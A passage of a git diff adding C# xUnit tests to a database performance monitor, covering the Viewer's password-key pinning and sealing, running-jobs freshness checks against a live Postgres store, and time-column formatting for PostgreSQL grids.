+        Assert.DoesNotContain("ServerConnectionSettings", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void NoViewerFileUsesTheOldConnectionRule()
+    {
+        var directory = Path.GetDirectoryName(RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerPasswordKey.cs"))!;
+        foreach (var path in Directory.EnumerateFiles(directory, "*.cs", SearchOption.TopDirectoryOnly))
+        {
+            Assert.DoesNotContain("ConnectionSettingsDiffer", File.ReadAllText(path), StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheViewer_HasNoDpapiWritePath()
+    {
+        /* #5366: a password the Viewer saves is sealed to the service's published key. The old DPAPI write helper is gone,
+           and no Viewer file protects data with DPAPI (reading a saved managed-store credential stays). */
+        var directory = Path.GetDirectoryName(RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerPasswordKey.cs"))!;
+        Assert.False(File.Exists(Path.Combine(directory, "ViewerServerSecret.cs")));
+        foreach (var path in Directory.EnumerateFiles(directory, "*.cs", SearchOption.AllDirectories))
+        {
+            var text = File.ReadAllText(path);
+            Assert.DoesNotContain("ViewerServerSecret.", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("ProtectedData.Protect(", text, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void ALoginThatCannotReadTheKeyTables_GetsItsOwnSentence()
+    {
+        /* #5366: SQLSTATE 42501 on the key tables is a missing grant, not a read-only connection. */
+        Assert.Equal(
+            "This login cannot read the service's password key. Connect with the admin role, or run provision-roles.sql again on this store.",
+            ViewerPasswordKey.NoKeyAccessText);
+        Assert.NotEqual(ViewerPasswordKey.ReadOnlyText, ViewerPasswordKey.NoKeyAccessText);
+
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerPasswordKey.cs");
+        var arm = source.IndexOf("ex.SqlState == \"42501\"", StringComparison.Ordinal);
+        Assert.True(arm > 0);
+        var armEnd = source.IndexOf('}', arm);
+        Assert.Contains("NoKeyAccessText", source.Substring(arm, armEnd - arm), StringComparison.Ordinal);
+        Assert.DoesNotContain("ReadOnlyText", source.Substring(arm, armEnd - arm), StringComparison.Ordinal);
+    }
+
+    private string UnwritablePinsPath()
+    {
+        /* A file where the folder should be: creating the folder, and so the list, fails. */
+        var blocker = Path.Combine(_directory, "blocker");
+        File.WriteAllText(blocker, "x");
+        return Path.Combine(blocker, "pins.json");
+    }
+
+    [Fact]
+    public void AKeyThatCannotBeSaved_RefusesSealing_OnTheFirstConnect()
+    {
+        var pins = new ViewerPasswordKeyPins(UnwritablePinsPath());
+
+        var decision = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+
+        Assert.Null(decision.Key);
+        Assert.Equal(ViewerPasswordKey.PinsNotSavedText, decision.Refusal);
+        Assert.Equal(
+            "The service's password key could not be saved on this computer, so passwords cannot be stored from here. "
+            + "Check that the Viewer can write to its settings folder.",
+            ViewerPasswordKey.PinsNotSavedText);
+    }
+
+    [Fact]
+    public void AKeyThatCannotBeSaved_RefusesSealing_WhenTheOperatorTrustsANewKey()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins).Key);
+        using var replacement = PasswordPrivateKey.Generate();
+        var decision = ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins);
+        var unwritable = new ViewerPasswordKeyPins(UnwritablePinsPath());
+
+        var result = ViewerPasswordKey.Resolve(decision, Store, unwritable, canAsk: true, _ => true);
+
+        Assert.Null(result.Sealer);
+        Assert.Equal(ViewerPasswordKey.PinsNotSavedText, result.Refusal);
+    }
+
+    [Fact]
+    public void ACorruptSavedList_IsKeptAsBad_AndTheReSaveSaysItCouldNotBeRead()
+    {
+        File.WriteAllText(PinsPath, "{ not a list");
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+
+        var decision = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+
+        Assert.Equal("{ not a list", File.ReadAllText(PinsPath + ".bad"));
+        Assert.Contains(ViewerPasswordKey.UnreadablePinsText, decision.Notice, StringComparison.Ordinal);
+
+        /* A store seen after that is saved again too, and says so while the kept copy is there. */
+        using var other = PasswordPrivateKey.Generate();
+        var next = ViewerPasswordKey.Evaluate(Published(other), Ok(other), "beta-store:5432/pm", new ViewerPasswordKeyPins(PinsPath));
+        Assert.Contains(ViewerPasswordKey.UnreadablePinsText, next.Notice, StringComparison.Ordinal);
+
+        /* A second unreadable file replaces the older kept copy. */
+        File.WriteAllText(PinsPath, "also not a list");
+        using var third = PasswordPrivateKey.Generate();
+        ViewerPasswordKey.Evaluate(Published(third), Ok(third), "gamma-store:5432/pm", new ViewerPasswordKeyPins(PinsPath));
+        Assert.Equal("also not a list", File.ReadAllText(PinsPath + ".bad"));
+    }
+
+    [Fact]
+    public void ASavedEntryWithABadFingerprint_CountsAsUnreadable_NotAsAbsent()
+    {
+        var entry = "[{\"Store\":\"" + Store + "\",\"Fingerprint\":\"not-hex\",\"KeyId\":\"x\",\"PinnedAtUtc\":\"2026-01-01T00:00:00Z\"}]";
+        File.WriteAllText(PinsPath, entry);
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+
+        Assert.Null(pins.Find(Store, out var unreadable));
+        Assert.True(unreadable);
+
+        var decision = ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins);
+        Assert.Contains(ViewerPasswordKey.UnreadablePinsText, decision.Notice, StringComparison.Ordinal);
+        Assert.True(File.Exists(PinsPath + ".bad"));
+    }
+
+    [Fact]
+    public void AServiceStateForAnotherKey_OrWithNoKey_Refuses()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        using var other = PasswordPrivateKey.Generate();
+
+        Assert.Equal(
+            ViewerPasswordKey.NoStateText, ViewerPasswordKey.Evaluate(Published(_key), Ok(other), Store, pins).Refusal);
+        Assert.Equal(
+            ViewerPasswordKey.NoStateText, ViewerPasswordKey.Evaluate(Published(_key), State("ok"), Store, pins).Refusal);
+        Assert.False(File.Exists(PinsPath));
+    }
+
+    [Fact]
+    public void WithNoWindowToAsk_AChangedKeyIsRefused_AndNoDialogIsShown()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins).Key);
+        using var replacement = PasswordPrivateKey.Generate();
+        var decision = ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins);
+        var asked = false;
+
+        var refused = ViewerPasswordKey.Resolve(decision, Store, pins, canAsk: false, _ => { asked = true; return true; });
+
+        Assert.False(asked);
+        Assert.Null(refused.Sealer);
+        Assert.Equal(decision.Refusal, refused.Refusal);
+
+        var trusted = ViewerPasswordKey.Resolve(decision, Store, pins, canAsk: true, _ => true);
+        Assert.NotNull(trusted.Sealer);
+        Assert.Equal(replacement.PublicKey.KeyId, trusted.Sealer!.KeyId);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins).Key);
+
+        using var again = PasswordPrivateKey.Generate();
+        var declined = ViewerPasswordKey.Resolve(
+            ViewerPasswordKey.Evaluate(Published(again), Ok(again), Store, pins), Store, pins, canAsk: true, _ => false);
+        Assert.Null(declined.Sealer);
+        Assert.NotNull(declined.Refusal);
+    }
+
+    [Fact]
+    public void TheChangedKeyDialog_GetsTheFullFingerprintOfBothKeys_InGroups()
+    {
+        var pins = new ViewerPasswordKeyPins(PinsPath);
+        Assert.NotNull(ViewerPasswordKey.Evaluate(Published(_key), Ok(_key), Store, pins).Key);
+        using var replacement = PasswordPrivateKey.Generate();
+
+        var change = ViewerPasswordKey.Evaluate(Published(replacement), Ok(replacement), Store, pins).Change!;
+
+        Assert.Equal(
+            ViewerPasswordKey.FormatFingerprint(Convert.ToHexString(_key.PublicKey.Fingerprint)), change.SavedFingerprint);
+        Assert.Equal(
+            ViewerPasswordKey.FormatFingerprint(Convert.ToHexString(replacement.PublicKey.Fingerprint)), change.NewFingerprint);
+        Assert.Equal(8, change.NewFingerprint.Split('-').Length);
+        Assert.All(change.NewFingerprint.Split('-'), group => Assert.Equal(8, group.Length));
+    }
+
+    [Fact]
+    public void ACachedValue_NeverSkipsTheLoneSurrogateRefusal()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+        var cache = new ViewerSealCache();
+        /* A lone surrogate hashes like the replacement character, so a cached value for that text must not answer for it. */
+        cache.GetOrSeal(sealer, "p@ss-�", Row("alpha-sql"));
+
+        var ex = Assert.Throws<ViewerPasswordRefusedException>(() => cache.GetOrSeal(sealer, "p@ss-\uD800", Row("alpha-sql")));
+
+        Assert.Equal(ViewerPasswordSealer.PasswordCharactersText, ex.Message);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerPerfmonRunningJobsTests.cs b/Darling/Darling.Tests/ViewerPerfmonRunningJobsTests.cs
index 93cab97b59..f74adb0de9 100644
--- a/Darling/Darling.Tests/ViewerPerfmonRunningJobsTests.cs
+++ b/Darling/Darling.Tests/ViewerPerfmonRunningJobsTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// <c>SUM(bigint)</c> returns numeric while the typed <c>GetInt64</c> reader (and DuckDB) want an
 /// integral type.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerPerfmonSqlTests
 {
     [Fact]
@@ -111,6 +112,7 @@ public void PerfmonSql_ReadsColumnsThatExistInTheGeneratedPerfmonTable()
 /// derivation read that stands in for Lite's live <c>_hasMsdbAccess</c> probe — the running_jobs
 /// collector's most recent collection_log status.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerRunningJobsSqlTests
 {
     [Fact]
@@ -207,6 +209,7 @@ public void RunningJobRow_PercentOfAverage_NullShowsNa()
 /// the clear-only-the-filtered-visible-set semantics — pinned against the SHARED
 /// <see cref="PerfmonPacks"/> parity data the real picker reads.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerPerfmonPickerLogicTests
 {
     private static readonly HashSet<string> GeneralThroughput =
@@ -309,6 +312,7 @@ public void ClearAll_ClearsOnlyTheFilteredVisibleSet_LeavingHiddenSelectionsInta
 /// keeps one of them (or drops one of the calls) fails here with the file named. The shaping itself is
 /// pinned value-by-value in <c>Lite.Tests/DeltaSeriesShapingTests</c>, which runs off Windows.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerPerfmonShapingParityTests
 {
     public static IEnumerable<object[]> Charts()
@@ -376,6 +380,7 @@ public void BothPerfmonTrendRows_CarryANullableInterval()
 /// "live-postgres" collection; uses negative sentinel server_ids and cleans up in finally.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class ViewerPerfmonRunningJobsLivePostgresTests
 {
     private const int PerfmonServerId = -949501;
@@ -484,6 +489,173 @@ await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup
         }
     }
 
+    [Fact]
+    public async Task RunningJobs_NewestSnapshotDaysOlderThanTheLastSuccessfulRun_ReadsAsNoJobs_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live running-jobs currency test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobRowsAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobLogRowsAsync(connection, TestContext.Current.CancellationToken);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var old = TruncateToSeconds(DateTime.UtcNow.AddDays(-3));
+            var now = TruncateToSeconds(DateTime.UtcNow);
+
+            /* A job collected days ago; every run since found nothing and logged SUCCESS with zero rows. */
+            await InsertJobRowAsync(connection, old, "WeeksOldJob", currentDuration: 111780, isRunningLong: true, percentOfAverage: 400m);
+            await InsertCollectionLogAsync(connection, 1, "running_jobs", old.AddSeconds(2), "SUCCESS", rowsCollected: 1);
+            await InsertCollectionLogAsync(connection, 2, "running_jobs", now.AddMinutes(-10), "SUCCESS", rowsCollected: 0);
+            await InsertCollectionLogAsync(connection, 3, "running_jobs", now.AddMinutes(-5), "SUCCESS", rowsCollected: 0);
+            /* A later failed run neither clears nor confirms the list, and another collector's run says nothing about it. */
+            await InsertCollectionLogAsync(connection, 4, "running_jobs", now.AddMinutes(-1), "ERROR", rowsCollected: 0);
+            await InsertCollectionLogAsync(connection, 5, "wait_stats", now.AddMinutes(-1), "SUCCESS", rowsCollected: 5);
+
+            Assert.Empty(await viewer.GetRunningJobsAsync(JobsServerId));
+
+            /* A run that stored rows makes its snapshot current again, whichever side of the snapshot its log row falls on
+               (the Darling service stamps the log row when the run ends, after the rows are stored). */
+            var latest = now.AddMinutes(-2);
+            await InsertJobRowAsync(connection, latest, "RunningNow", currentDuration: 60, isRunningLong: false, percentOfAverage: 50m);
+            await InsertCollectionLogAsync(connection, 6, "running_jobs", latest.AddSeconds(2), "SUCCESS", rowsCollected: 1);
+
+            var jobs = await viewer.GetRunningJobsAsync(JobsServerId);
+            Assert.Equal("RunningNow", Assert.Single(jobs).JobName);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteJobRowsAsync(cleanup, cleanupCt);
+                await DeleteJobLogRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>
+    /// The review round's M1, in the Viewer and the MCP tool (one statement text): a run that stored rows, then nothing but failed
+    /// runs for hours. The job is not listed as running (its duration was frozen at the last good run), and the read carries the
+    /// time of the last good collection so the tab and the tool can say collection is not current. A server whose collector keeps
+    /// logging SUCCESS with no rows is current and gets no such time.
+    /// </summary>
+    [Fact]
+    public async Task RunningJobs_RowsThenOnlyFailedRunsForHours_AreNotListed_AndCarryTheLastGoodTime_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live running-jobs freshness test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobRowsAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobLogRowsAsync(connection, TestContext.Current.CancellationToken);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+        await using var dataSource = NpgsqlDataSource.Create(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var now = TruncateToSeconds(DateTime.UtcNow);
+            var lastGood = now.AddHours(-3);
+            await InsertJobRowAsync(connection, lastGood, "FrozenJob", currentDuration: 111780, isRunningLong: true, percentOfAverage: 400m);
+            await InsertCollectionLogAsync(connection, 1, "running_jobs", lastGood, "SUCCESS", rowsCollected: 1);
+            await InsertCollectionLogAsync(connection, 2, "running_jobs", now.AddHours(-2), "ERROR", rowsCollected: 0);
+            await InsertCollectionLogAsync(connection, 3, "running_jobs", now.AddMinutes(-5), "ERROR", rowsCollected: 0);
+
+            var viewerRead = await viewer.ReadRunningJobsAsync(JobsServerId);
+            Assert.Empty(viewerRead.Jobs);
+            Assert.True(viewerRead.LastGoodCollection is DateTime vg && Math.Abs((vg - lastGood).TotalSeconds) < 1);
+            Assert.Empty(await viewer.GetRunningJobsAsync(JobsServerId));
+
+            var mcpRead = await PerformanceMonitor.Darling.Service.Mcp.DarlingJobReader.ReadRunningJobsAsync(dataSource, JobsServerId);
+            Assert.Empty(mcpRead.Jobs);
+            Assert.True(mcpRead.LastGoodCollection is DateTime mg && Math.Abs((mg - lastGood).TotalSeconds) < 1);
+
+            /* A collector that keeps finding nothing is current: no time is carried, so nothing claims collection is stale. */
+            await InsertCollectionLogAsync(connection, 4, "running_jobs", now.AddMinutes(-2), "SUCCESS", rowsCollected: 0);
+            Assert.Null((await viewer.ReadRunningJobsAsync(JobsServerId)).LastGoodCollection);
+            Assert.Null((await PerformanceMonitor.Darling.Service.Mcp.DarlingJobReader.ReadRunningJobsAsync(dataSource, JobsServerId)).LastGoodCollection);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteJobRowsAsync(cleanup, cleanupCt);
+                await DeleteJobLogRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    [Fact]
+    public async Task RunningJobs_SnapshotNewerThanTheLastLogRow_AndAServerWithNoLogRow_StillReadTheirJobs_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live running-jobs currency test.");
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        await PgMigrations.MigrateAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobRowsAsync(connection, TestContext.Current.CancellationToken);
+        await DeleteJobLogRowsAsync(connection, TestContext.Current.CancellationToken);
+
+        await using var viewer = new ViewerDataService(connectionString!);
+
+        var bodySucceeded = false;
+        try
+        {
+            var now = TruncateToSeconds(DateTime.UtcNow);
+            await InsertJobRowAsync(connection, now.AddSeconds(-20), "JustStored", currentDuration: 60, isRunningLong: false, percentOfAverage: 50m);
+
+            /* No run log at all for the collector: nothing to decide by, so the newest snapshot stands. */
+            Assert.Single(await viewer.GetRunningJobsAsync(JobsServerId));
+
+            /* The newest SUCCESS log row is the previous, empty run: the rows of the run now finishing are stored before its
+               own log row is. */
+            await InsertCollectionLogAsync(connection, 1, "running_jobs", now.AddMinutes(-5), "SUCCESS", rowsCollected: 0);
+            Assert.Single(await viewer.GetRunningJobsAsync(JobsServerId));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await DeleteJobRowsAsync(cleanup, cleanupCt);
+                await DeleteJobLogRowsAsync(cleanup, cleanupCt);
+            });
+        }
+    }
+
+    [Fact]
+    public void RunningJobsSql_IsTheSameQueryInTheViewerAndTheMcpTool_AndDecidesCurrencyFromTheRunLog()
+    {
+        /* One query, two copies (the viewer does not reference the service): they must not drift. Whitespace is not part of it. */
+        static string Normalize(string sql) => System.Text.RegularExpressions.Regex.Replace(sql, @"\s+", " ").Trim();
+
+        Assert.Equal(Normalize(ViewerDataService.RunningJobsSql), Normalize(PerformanceMonitor.Darling.Service.Mcp.DarlingJobReader.RunningJobsSql));
+
+        var sql = Normalize(ViewerDataService.RunningJobsSql);
+        Assert.Contains("FROM collection_log", sql);
+        Assert.Contains("collector_name = 'running_jobs'", sql);
+        Assert.Contains("status = 'SUCCESS'", sql);
+        Assert.Contains("rows_collected > 0", sql);
+    }
+
     [Fact]
     public async Task RunningJobsCollectorStatus_ReturnsLatestStatus_ForMsdbBanner_AgainstDevPostgres()
     {
@@ -567,17 +739,19 @@ INSERT INTO running_jobs
     }
 
     private static async Task InsertCollectionLogAsync(
-        NpgsqlConnection connection, long logId, string collectorName, DateTime collectionTimeUtc, string status)
+        NpgsqlConnection connection, long logId, string collectorName, DateTime collectionTimeUtc, string status,
+        int? rowsCollected = null)
     {
         using var command = new NpgsqlCommand(@"
-INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status)
-VALUES ($1, $2, $3, $4, $5, $6)", connection);
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, status, rows_collected)
+VALUES ($1, $2, $3, $4, $5, $6, $7)", connection);
         command.Parameters.AddWithValue(logId);
         command.Parameters.AddWithValue(JobsServerId);
         command.Parameters.AddWithValue(ServerName);
         command.Parameters.AddWithValue(collectorName);
         command.Parameters.AddWithValue(DateTime.SpecifyKind(collectionTimeUtc, DateTimeKind.Unspecified));
         command.Parameters.AddWithValue(status);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Integer, Value = (object?)rowsCollected ?? DBNull.Value });
         await command.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
     }
 
diff --git a/Darling/Darling.Tests/ViewerPgSnapshotGridTimeTests.cs b/Darling/Darling.Tests/ViewerPgSnapshotGridTimeTests.cs
new file mode 100644
index 0000000000..942394685d
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerPgSnapshotGridTimeTests.cs
@@ -0,0 +1,229 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using System.Globalization;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: the PostgreSQL latest-state grids (Extensions, Server Config, Buffer Usage, Replication Slots, Index Bloat,
+/// Predicate Stats) show their snapshot time as a column, in the display zone, to the second. The reader rows carry naive
+/// UTC; the display row words it and keeps the instant beside it for sorting. The XAML side (column present, sortable) is
+/// pinned in <see cref="ViewerGridTimeColumnSortMemberTests"/>.
+/// </summary>
+[Collection("viewer-time-statics")]
+public sealed class ViewerPgSnapshotGridTimeTests
+{
+    private static readonly DateTime Utc = new(2026, 7, 4, 15, 30, 45, DateTimeKind.Unspecified);
+
+    private static void InZone(Action body)
+    {
+        var mode = ViewerTimeHelper.CurrentDisplayMode;
+        var clock = ViewerTimeHelper.ActiveServerClock;
+        var culture = CultureInfo.CurrentCulture;
+        try
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+            ViewerTimeHelper.ActiveServerClock = ServerClock.Resolve("Eastern Standard Time", -300);
+            CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+            body();
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = mode;
+            ViewerTimeHelper.ActiveServerClock = clock;
+            CultureInfo.CurrentCulture = culture;
+        }
+    }
+
+    private const string Expected = "2026-07-04 11:30:45";
+
+    [Fact]
+    public void ExtensionCaptureTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.Extension(new DarlingPgExtensionAvailabilityReader.PgExtensionRow(
+                "appdb", "pg_stat_statements", "installed", "1.10", "1.10", true, "c", Utc));
+            Assert.Equal(Expected, row.CaptureTime);
+            Assert.Equal(Utc, row.CaptureTimeUtc);
+            Assert.Equal("pg_stat_statements", row.ExtensionName);
+        });
+    }
+
+    [Fact]
+    public void ServerConfigCollectionTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.ServerConfig(new DarlingPgServerConfigReader.PgConfigRow(
+                "work_mem", "64MB", "kB", "c", "user", "configuration file", "4096", "4096", null, 0, false, "d", false, Utc));
+            Assert.Equal(Expected, row.CollectionTime);
+            Assert.Equal(Utc, row.CollectionTimeUtc);
+            Assert.Equal("work_mem", row.Name);
+        });
+    }
+
+    [Fact]
+    public void BufferUsageCaptureTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.BufferUsage(new DarlingPgBufferUsageReader.PgBufferUsageRow(
+                "appdb", "t", "r", 10, 1, 2.5, 100, 50, 10.0, 10.0, Utc));
+            Assert.Equal(Expected, row.CaptureTime);
+            Assert.Equal(Utc, row.CaptureTimeUtc);
+            Assert.Equal(100, row.PoolBuffersTotal);
+        });
+    }
+
+    [Fact]
+    public void PredicateStatCaptureTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheReaderRowForTheContextMenu()
+    {
+        InZone(() =>
+        {
+            var source = new DarlingPgPredicateStatsReader.PgPredicateStatRow(
+                "appdb", "public", "t", "c", "=", 7, 1, 2, 1, 50.0, 1.0, 1.0, Utc);
+            var row = PgDisplay.PredicateStat(source);
+            Assert.Equal(Expected, row.CaptureTime);
+            Assert.Equal(Utc, row.CaptureTimeUtc);
+            Assert.Same(source, row.Source);
+        });
+    }
+
+    [Fact]
+    public void SlotMeasuredAt_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.Slot(new DarlingPgSlotReader.PgSlotRow(
+                "s1", Utc, "logical", "pgoutput", "appdb", true, "reserved", 1, 1, 1, 1, null, null, false, 1, Utc));
+            Assert.Equal(Expected, row.MeasuredAt);
+            Assert.Equal(Utc, row.MeasuredAtUtc);
+        });
+    }
+
+    [Fact]
+    public void WraparoundMeasuredAt_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.Wraparound(new DarlingPgWraparoundReader.PgWraparoundRow(
+                "appdb", Utc, 1, 1, 200, 400, 1.0, 1.0, 1.0, 1.0, 10, 10, true, 2, 2));
+            Assert.Equal(Expected, row.MeasuredAt);
+            Assert.Equal(Utc, row.MeasuredAtUtc);
+        });
+    }
+
+    [Fact]
+    public void PlanCaptureTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.PlanCapture(new DarlingPgPlanCaptureReadinessReader.PgPlanCaptureReadinessRow(
+                "library_loaded", false, null, null, Utc));
+            Assert.Equal(Expected, row.CaptureTime);
+            Assert.Equal(Utc, row.CaptureTimeUtc);
+            Assert.Equal("no", row.Satisfied);
+            Assert.Equal("(not reported)", row.Observed);
+            Assert.Equal(string.Empty, row.Detail);
+        });
+    }
+
+    [Fact]
+    public void ColumnStatCaptureTime_IsTheDisplayZone_ToTheSecond_AndKeepsTheUtcInstant()
+    {
+        InZone(() =>
+        {
+            var row = PgDisplay.ColumnStat(new DarlingPgColumnStatsReader.PgColumnStatRow(
+                "appdb", "public", "t", "c", 1.0, 0.0, 4, 0.5, 0.2, 3, Utc));
+            Assert.Equal(Expected, row.CaptureTime);
+            Assert.Equal(Utc, row.CaptureTimeUtc);
+        });
+    }
+
+    [Fact]
+    public void TheLoadersBindTheDisplayRows_ForPlanCapture()
+    {
+        var tab = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs").ReplaceLineEndings("\n");
+        Assert.Contains("PgPlanCaptureGrid.ItemsSource = planCaptureTask.Result.Select(PgDisplay.PlanCapture).ToList();", tab, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void SnapshotTime_IsEmptyForAMissingTime_AndIndexBloatAndSlotsUseIt()
+    {
+        InZone(() =>
+        {
+            Assert.Equal(string.Empty, PgDisplay.SnapshotTime(null));
+            Assert.Equal(Expected, PgDisplay.SnapshotTime(Utc));
+        });
+
+        var display = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerPostgresDisplay.cs").ReplaceLineEndings("\n");
+        Assert.Contains("MeasuredAt = SnapshotTime(row.MeasuredAt),\n        MeasuredAtUtc = row.MeasuredAt,\n        /* An invalidated", display, StringComparison.Ordinal);
+        Assert.Contains("EstimatedAt = SnapshotTime(row.EstimatedAt),", display, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFourLoadersBindTheDisplayRows_AndTheMenuReadsTheSourceRow()
+    {
+        var tab = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs").ReplaceLineEndings("\n");
+        Assert.Contains("PgExtensionsGrid.ItemsSource = rows.Select(PgDisplay.Extension).ToList();", tab, StringComparison.Ordinal);
+        Assert.Contains("PgServerConfigGrid.ItemsSource = chosen.Select(PgDisplay.ServerConfig).ToList();", tab, StringComparison.Ordinal);
+        Assert.Contains("PgBufferUsageGrid.ItemsSource = rows.Select(PgDisplay.BufferUsage).ToList();", tab, StringComparison.Ordinal);
+        Assert.Contains("PgPredicateStatsGrid.ItemsSource = rows.Select(PgDisplay.PredicateStat).ToList();", tab, StringComparison.Ordinal);
+
+        var menu = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.HypotheticalIndex.cs").ReplaceLineEndings("\n");
+        Assert.Contains("PgPredicateStatsGrid.SelectedItem is not PgDisplay.PredicateStatRow selected", menu, StringComparison.Ordinal);
+        Assert.Contains("var row = selected.Source;", menu, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("PgExtensionsGrid")]
+    [InlineData("PgServerConfigGrid")]
+    [InlineData("PgBufferUsageGrid")]
+    [InlineData("PgPredicateStatsGrid")]
+    [InlineData("PgPlanCaptureGrid")]
+    public void TheSnapshotTimeColumnIsHeadedCollected(string grid)
+    {
+        var xaml = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml").ReplaceLineEndings("\n");
+        var start = xaml.IndexOf("x:Name=\"" + grid + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = xaml.IndexOf("</DataGrid>", start, StringComparison.Ordinal);
+        var block = xaml[start..end];
+        Assert.Contains("Header=\"Collected\"", block, StringComparison.Ordinal);
